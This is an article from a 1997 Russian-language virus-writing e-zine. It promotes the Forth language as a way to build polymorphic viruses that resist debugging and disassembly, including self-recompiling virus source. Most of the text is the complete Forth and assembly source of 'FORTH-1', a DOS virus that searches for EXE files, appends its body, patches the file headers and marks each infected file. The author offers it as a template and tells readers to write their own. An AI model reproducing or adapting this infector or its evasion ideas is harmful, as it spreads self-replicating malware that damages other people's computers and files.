▄▄ █ ▀▀▀ Virus Magazine █ Box 176, Kiev 210, Ukraine IV 1997 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀ █▀▀▀▀▀▀█ ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█ ▌ █ ▄▀█ █ ▄▀▀ █▄▄ █ █ █ █ █ █ █ █▀ █▀ █ █ █▀ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ▐ ▐ ▐ ▐▄▄ ▐▄▄ ▐ ▐▄▄ ▐▄▀ ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄ █ █ █ █ ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ █▄▄▄▄▄▄█ (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd. В свое время меня заинтересовал язык программирования Форт Так вот -- сей язык (в своем первообразном виде образца 197.. года) помоему просто гимн вирусполиморфизму и защите от разглядывания кода. Основные принципы : - В этом языке нет никаких мертвых операций присущих ЯВУ, ВСЕ слова (функции и процедуры в Форте называются словами) ВЫПОЛHЯЮТСЯ! Т.е. все, что видит компилятор (или лучше сказать интерпретатор) он ищет в своей библиотеке и пытается выполнить (кроме цифeр). Обьясню это так : предположим в исходник на Ассемблере можно записать выдуманные команды которые говорят компилятору,что "вот этот код компилируй,а эти мнемоники сразу выполняй",понятное дело,что можно было бы сразу,еще до запуска перешифровать тело вируса,подгрузить какой либо бинарный файл . Hо сама структура Ассемблера этого не позволяет,а вот в Форте это можно. Скомпилированная программа на Форте выглядит так - ;-------------------------- Word1: ; Словарь Словарь - это тело программы ........... ; в нем находятся слова которые написаны Word2: ; на Ассемблере и собственно на Форте ........... ; для их вызова применяется (обычно) Word3: ; т.н. шитый код. ........... ; Word4: ; Есть его разновидности ........... ; 1. подпрограмный шитый код ........... ; call Word1 _1: ; call Word1 dw offset Word1 ; call Word3 и т.д. dw offset Word2 ; / 2. прямой шитый код dw offset Word3 ; <--------------------------- dw offset Word4 ; т.е. от предыдущей пирамиды,мы у команд call отрезали их ........... ; начало и оставили одни адреса процедур.Теперь програмка ........... ; обычно обзываемая АдресныйИнтерпретатор dataseg ; Data сделает примерно так : stackseg ; Stack lea si,_1 ;-------------------------- lodsw mov bx,ax jmp bx .... Отсюда проистекает,что при компиляции Форт слов,компилятор ищет в библиотеке имя слова и если находит то сует адрес этого слова в область шитого кода текущего компилируемого слова. Получается так (обьясняю сильно упростив) : в форте компиляция слова начинается с двоеточия и заканчивается точкой с запятой -- т.е. когда в исходнике встретилось двоеточие то вызывается слово с именем ":" и оно компилирует исходник до ";" ,а затем интерпретатор выбирает текст дальше,и если там не стоит ":" то интерпретатор отыщет встретившееся имя в ранее скомпилированом словаре и передаст на него управление. - Результирующий код компилятора занимает HЕ БОЛЕЕ 15 килобайт. (в моем случае 3400 байт!!! без компилятора ассемблерных мнемоник) Это позволяет изготовить некий "вирус + компилятор + исходник_вируса", и при каждом запуске этой мешанины мы перекомпилируем исходник вируса! Причем,можно изменить процедуру компиляции так,чтобы при каждой перекомпиляции вируса в его код компилировались некие пустые слова. А если еще пораскинуть мозгами,то можно создать слово анализирующее текст вируса и изменяющее его АЛГОРИТМ!!! (это вроде как 100% полиморфизм....) - Попробуйте разобраться с результирующим кодом Форт программы. Его и в отладчике трассить неудобно,и рекомпилировать всякими соурсерами невозможно! ---------------------------------------------------------------------------- В завершение я привожу пример вируса. Это простейший нерезидентный заражатель EXE файлов.Дописывает свое тело в конец файла и корректирует заголовок.Трудностей при его написании не'было ни каких!Просто взял,и нАписал .... (правда воды там достаточно) В тексте нет никаких обьяснений -- ищите умные книжки и пишите СВОЕ!!! ---------------------------------------------------------------------------- Этот исходник должно компилировать целевым компилятором из пакета AstroForth после перевода из текстового формата - в экранный файл (*.scr) программой scr-txt.com (от тоГоЖе пакета) ................................. ---------------------------------------------------------------------------- ( VIRUS FOR TARGET COMPILING 06/30/96 ) ┌──────────────────────────────────────┐ (C) Light General │ │ │ Hерезидентный вирус заражающий *.EXE │ VIRUS INFO │ │ Name : FORTH-1 │ Длина тела вируса 1303 байт. │ Model : E-4608 │ Всего к файлу дописывается 4608 байт.│ │ Заражение однократное. │ │ Оверлейные файлы не заражаются. │ │ Hе обрабатываем int24h │ │ Заражается один файл в текущем пути. │ │ │ └──────────────────────────────────────┘ ---------------------------------------------------------------- ( 06/30/96 ) VARIABLE DTA_ 80 ALLOT VARIABLE MASK_ " *.EXE" 0 C, VARIABLE HANDLE_ HEX 003F CONSTANT ATTR_ CODE INT21 ( ax bx cx dx -- ax carry ) DX POP CX POP BX POP AX POP 21 INT AX PUSH AX, # 00 MOV ( FALSE ) 1$ JC AX DEC ( TRUE (for FORTH!!!!) ) 1$: AX PUSH NEXT, END-CODE : HANDLE@ HANDLE_ @ ; --> ( 07/01/96 ) CODE GO_VIRUS CLI BP, DS MOV AX, CS MOV DS, AX MOV AX, # 1600 ADD ES, AX MOV DI, # 00 MOV SI POP SI, # 03 SUB CX, # 1600 MOV REPZ MOVSB BX, # 00F0 MOV DS, AX MOV [BX], BP MOV AX PUSH AX, # 0100 MOV AX PUSH FAR RET ( <- Go to standart Forth frame ) END-CODE --> ( 06/30/96 ) CODE GO_PROG ( Code for run infected file! [CS IP SS SP -- ] ) BP, F0 MOV ES, BP MOV DS, BP MOV DX, # 0080 MOV AH, # 1A MOV 21 INT CLI CS PUSH DS POP SP, 06 MOV AX, 04 MOV AX, BP ADD AX, # 10 ADD SS, AX MOV AX, 00 MOV AX, BP ADD AX, # 10 ADD AX PUSH 02 PUSH DS, BP MOV STI FAR RET END-CODE VARIABLE CS_ VARIABLE IP_ VARIABLE SS_ VARIABLE SP_ : GO_PROG_PREV CS_ @ 0 ! IP_ @ 2 ! SS_ @ 4 ! SP_ @ 6 ! ; --> ( 06/30/96 ) VARIABLE HEADER_ 20 ALLOT VARIABLE CARRY_ : FIND_FIRST 4E00 0 ATTR_ MASK_ 3 + INT21 2DROP ; : FIND_NEXT 4F00 0 0 0 INT21 CARRY_ ! DROP ; : OPEN_FILE 3D02 0 0 DTA_ 1E + INT21 DROP HANDLE_ ! ; : CLOSE_FILE 3E00 HANDLE@ 0 0 INT21 2DROP ; : READ_HEADER 3F00 HANDLE@ 1C HEADER_ INT21 2DROP ; : ?EXE HEADER_ @ 5A4D = ; : ?ALR HEADER_ 12 + @ 2424 = ; : SET_DTA 1A00 0 0 DTA_ INT21 2DROP ; CODE GET_FLEN ( HANDLE -- LOLEN HILEN ) BX POP AX, # 4202 MOV CX, CX XOR DX, DX XOR 21 INT AX PUSH DX PUSH NEXT, END-CODE --> ( 06/30/96 ) VARIABLE CALL_ 3 ALLOT : CALL! 00E8 CALL_ ! 0 CALL_ 2+ ! CALL_ ; : WRITE_BODY ( F.p. уже в конце файла! ) 4000 HANDLE@ 03 CALL! INT21 2DROP 4000 HANDLE@ 0100 3 - ['] GO_VIRUS 2+ INT21 2DROP 4000 HANDLE@ 1100 0100 INT21 2DROP ; : WRITE_HEADER 4200 HANDLE@ 0 0 INT21 2DROP 4000 HANDLE@ 1C HEADER_ INT21 2DROP ; --> ( 06/30/96 ) CODE CALCULATE ( HILEN LOLEN DI -- NEWCS NEWIP ) DI POP AX POP DX POP CX, # 10 MOV CX DIV AX, DI SUB DX, # 0 SBB AX PUSH DX PUSH NEXT, END-CODE : FINFECT_ ( HILEN LOLEN -- ) HEADER_ 8 + @ CALCULATE SWAP DUP 20 + HEADER_ 0E + ! HEADER_ 16 + ! HEADER_ 14 + ! 3000 HEADER_ 10 + ! ( SS CS IP SP ) 2424 HEADER_ 12 + ! HEADER_ 04 + DUP @ 6 + SWAP ! ( VIRLEN = 512*6 ) WRITE_BODY WRITE_HEADER ; --> ( 06/30/96 ) : FINFECT HEADER_ DUP 000E + @ SS_ ! DUP 0010 + @ SP_ ! DUP 0014 + @ IP_ ! 0016 + @ CS_ ! HANDLE@ GET_FLEN SWAP DUP HEADER_ 4 + @ 1- 0200 * HEADER_ 2 + @ + = IF FINFECT_ CLOSE_FILE GO_PROG THEN CLOSE_FILE ; --> ( 06/30/96 ) : INFECT ?ALR IF CLOSE_FILE EXIT ELSE FINFECT THEN ; : ERROR_ CARRY_ @ FALSE = ; : MAIN() GO_PROG_PREV SET_DTA FIND_FIRST BEGIN OPEN_FILE READ_HEADER ?EXE IF INFECT THEN FIND_NEXT ERROR_ IF GO_PROG THEN AGAIN ;